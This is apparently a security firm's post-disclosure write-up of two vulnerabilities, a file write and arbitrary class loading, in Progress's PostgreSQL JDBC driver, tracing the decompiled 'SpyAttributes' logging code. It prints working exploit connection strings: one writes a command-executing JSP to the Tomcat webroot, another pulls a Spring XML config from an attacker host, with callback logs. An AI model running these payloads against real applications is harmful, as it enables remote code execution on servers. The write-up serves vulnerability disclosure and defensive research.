Prepared by: Brecht Snijders, Principal Offensive Consultant | Published: 26 Nov 2025
During a recent engagement, Triskele Labs was asked to review a web application which allowed users to use several provided JDBC drivers to connect to a variety of data sources. On the back of this engagement, and due to the recent attention on the attack surface of JDBC drivers, the Triskele Labs team reviewed the JDBC driver implementations of a software provider called Progress Software.
Two vulnerabilities were discovered on 26 August 2025 and promptly disclosed to the Progress security team. Progress responded quickly and implemented a patch for both vulnerabilities, which are tracked as CVE-2025-10702 and CVE-2025-10703. The patches were released on 12 November 2025, with additional information released by Progress on 19 November 2025. The Progress team asked Triskele Labs to delay full disclosure until 26 November 2025 to give affected organisations time to patch.
In this write-up, we will walk the reader through the discovery of the arbitrary file write (CVE-2025-10703) and arbitrary class loading (CVE-2025-10702) vulnerabilities discovered, each of which could result in command execution and a compromise of the web server itself.
JDBC is the standard API that allows Java applications to communicate with relational databases. At its core, a JDBC driver translates Java Connection, Statement, and ResultSet operations into the vendor-specific wire protocol used by the target database. Because JDBC drivers sit directly between the application and the database, and often handle credentials, SQL text, TLS configuration, and network communication, they are a critical part of the application security surface.
Some of the more well-known security research into the potential attack surface of JDBC drivers includes the “Make JDBC Attack Brilliant Again” presentation at Hack In The Box 2021 conference in Singapore and the “New Exploit Technique In Java Deserialization Attack” presentation at Black Hat Europe 2019.
A quick search for more recent vulnerabilities in JDBC drivers surfaces quite a few that have been published in the last two years:
Since the JDBC driver is a piece of software that facilitates the communication between the Java application and the relational database it’s connecting to, the attack surface and risk model need to be understood as mainly applying to applications were an unauthorised user can provide the JDBC connection string itself. This almost always means this is a post-authentication issue, often with high privileges required for the authenticated user.
JDBC connection strings themselves must adhere to the following format:
jdbc:<subprotocol>:<subname>
With the specification further explaining “where subprotocol defines the kind of database connectivity mechanism that may be supported by one or more drivers. The contents and syntax of the subname will depend on the subprotocol” (https://download.oracle.com/otndocs/jcp/jdbc-4_2-mrel2-eval-spec/index.html). This means the subprotocol is quite open and is entirely dependent on the driver implementation. As such, while there might be some common vulnerability patterns such as JNDI injection and insecure deserialization (which are really more Java-specific issues than JDBC issues), each JDBC driver will have its own attack surface entirely depending on the features implemented in it.
We retrieved the Progress PostgreSQL driver from their website on 26 August 2025, which at the time was version 6.0.0.1796 and decompiled it using JD-GUI (https://github.com/java-decompiler/jd-gui). Given each JDBC driver must implement java.sql.Driver, we can find the main driver implementation by navigating to META-INF/services/java.sql.Driver, which lists “com.ddtek.jdbc.postgresql.PostgreSQLDriver” as the implementing class, extending the BaseDriver class.
The connect method implemented in the BaseDriver class contains the following interesting bits:
After some initial checking that the connection string is in the right format [1], this code extracts the “SpyAttributes” string from the connection string (or the properties) [2] and stores it inside BaseConnectionProperties["SPYATTRIBUTES"]. Further inside the connect method, the BaseConnection.u() method is called with the provided SpyAttributes [3]:

The u method:
This method parses the provided properties using a StringTokenizer and we can see they can be provided as a simple string in the format of “key1=value1;key2=value2;key3=value3“.
Now we know how to provide SpyAttributes, let’s figure out the attributes available to us. To do this, we can review the spyLoggerForDriver class, which extends the SpyLogger class. Inside the setOptions method in SpyLogger, a SpyConfigInterface is instantiated and the setProperties method is called with the provided SpyAttributes.
The SpyConfig class, which implements SpyConfigInterface, finally gets us to the available properties. We will focus only on the properties we identified as vulnerable:
Focusing on the “(file)” attribute, we can see the dx method gets called with the parameters after “(file)”:
Following this thread, we can see the h method in class d:
Some crucial steps are happening here: the method calls FileOutputStream [4] without performing any checks or sanitisation on the paramString. This effectively means the file path, including the extension, is controlled entirely by the connection string. There are also no checks for path traversals, though we will see that there is no need for a path traversal to successfully write a file to any location we want on the file system.
To successfully exploit this, we also need to be able to control the file content to some degree. One immediate issue we notice is that we can’t use semi-colons in the Java code we want to inject, due to the u method using the semi-colon to split the attributes inside the BaseConnection class. To get around this, we can use JSP expressions, which don’t require a semi-colon. Seeing as the SpyAttributes logging functionality logs all parameters, we can simply add a new parameter of our choosing to the connection string and inject the payload in there.
A valid payload connection string, that writes a valid JSP expression to a location of our choosing, can be constructed as follows (our web server exists at /usr/local/tomcat/):
jdbc:datadirect:postgresql://172.17.0.1:5432;DatabaseName=testdb;SPYATTRIBUTES=(log=(file)/usr/local/tomcat/webapps/ROOT/poc.jsp);Injection=(<%= new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() %>)
When we then visit poc.jsp, we can see it executes nicely:

Continuing the review of the remaining SpyAttributes, our eye falls on the “generic” option:
The paramString passed to dB is split on a “:” [5], where the first portion is the name of a class and the second is a single string argument. It then attempts to instantiate the class using the single-string constructor [6].
What this means is that we can provide any class name that exists on the class path, if it has a single string constructor, and instantiate it using that single string. While we didn’t find any classes in the driver that could be used for this purpose, it’s quite common to have a large number of classes available in real-world applications. One good and commonly used example would be the ClassPathXmlApplicationContext class that’s part of the Spring framework. This class has a string constructor (configLocation) that will retrieve the XML file at the provided config location. This is a well-known RCE vector since the XML at the provided location is treated as a Spring configuration file, containing bean definitions. Since the code only splits once on the first “:”, we don’t have to worry about having an extra one in the string parameter and we can host an XML file containing this content:
If the ClassPathXmlApplicationContext class is present on the class path, the following connection string would result in the arbitrary class loading and instantiation using the single string constructor:
jdbc:datadirect:postgresql://172.17.0.1:5432;DatabaseName=testdb;SpyAttributes=(log=(generic)org.springframework.context.support.ClassPathXmlApplicationContext:http://ourhost:8000/x.xml;);
Resulting in our XML file being retrieved:
X.X.X.X - - [18/Nov/2025 05:42:31] "GET /x.xml HTTP/1.1" 200 -
X.X.X.X - - [18/Nov/2025 05:42:31] "GET /x.xml HTTP/1.1" 200 -
And our Burp collaborator receiving a HTTP request:
GET / HTTP/1.1
Host: <redacted>>
User-Agent: curl/8.5.0
Accept: */*